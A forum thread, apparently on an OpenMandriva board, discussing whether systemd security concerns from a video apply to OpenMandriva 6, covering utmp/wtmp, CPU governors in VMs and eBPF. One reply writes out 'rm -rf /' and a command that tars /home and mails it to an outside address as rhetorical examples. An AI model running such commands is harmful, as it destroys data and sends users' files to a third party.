Hello,
A general question
I know the wideo is about ubuntu yet i things warks similar in OM
**OpenMandriva Lx version:6
We have system-dick 257 by pottering in to a OM6
We do not have utemp in /var/log only wtemp which is related to sysd try command w
This is the way that utemp and wtemp also differ
In Unix-like systems, utmp and wtmp are both used to track user login and logout activity, but they serve different purposes. utmp stores information about currently logged-in users, while wtmp maintains a historical record of all logins and logouts, including past sessions.
try to lsmod | sort | more and try to find cpu frequency or governor good lack with that.
We got cpupower to handle cpu frequencies it is related to system but not a part of it.
Yet the more I dig in to this stuff the more it looks like the situation from video in a link.
Do we really have same problem related to security that he talk about in 3:02 part of the video?
The whole video does not sound optimistic.
Is it really anything to wary about or im just uninformed fearmongering user
utmp being gone/who not working – Ubuntu problem, certainly still where it belongs in OM
/sys/devices/cpu, CPU governor etc. gone – That’s because being able to set the CPU frequency in a virtual machine doesn’t really make sense. There’s nothing to be gained by putting a virtual CPU to sleep, and controlling the host system’s power management from inside a VM would be a security problem. It’s all there when using real hardware.
Hating on systemd – deserved to some extent since it does try to do way too much, and it doesn’t do some of the things it does well (which is why we’re disabling half the things it can do in OM – we use the parts it actually does well).
It talking to the kernel using binary data over ebpf is a red herring, guess what happens every time you use any application at all? Right, it tells the kernel what to do in a binary format (jumping to addresses inside the kernel and all). If you think it’s doing something evil there, read the source and point to where it’s sending something to the kernel that shouldn’t be there. Yes, you COULD use the mechanism to do something bad - but you can use any other mechanism to do something just as bad (is bash evil because someone might be running rm -rf / or tar cf - /home |mail -s "Here's the sucker's data!" datacollection@cia.gov?) – but it would be visible in your code. If you want to see a piece of code that is far more likely to be doing something bad, look at the nvidia driver - there’s reasons why they refuse to open the code.
@WilsonPhillips I’m aware of that. But it still linux and still use systemd whenever one like or not. Im asking because of curiosity and because I try to gather some knowledge I’m simply lack of.
And also gain some biased perspective.
Not because I’m trying to start some weirdo crusade.
I m not a big fan of systemd or system-dick like I sometimes call it, that’s all true.
That does not mean I will go crazy about it
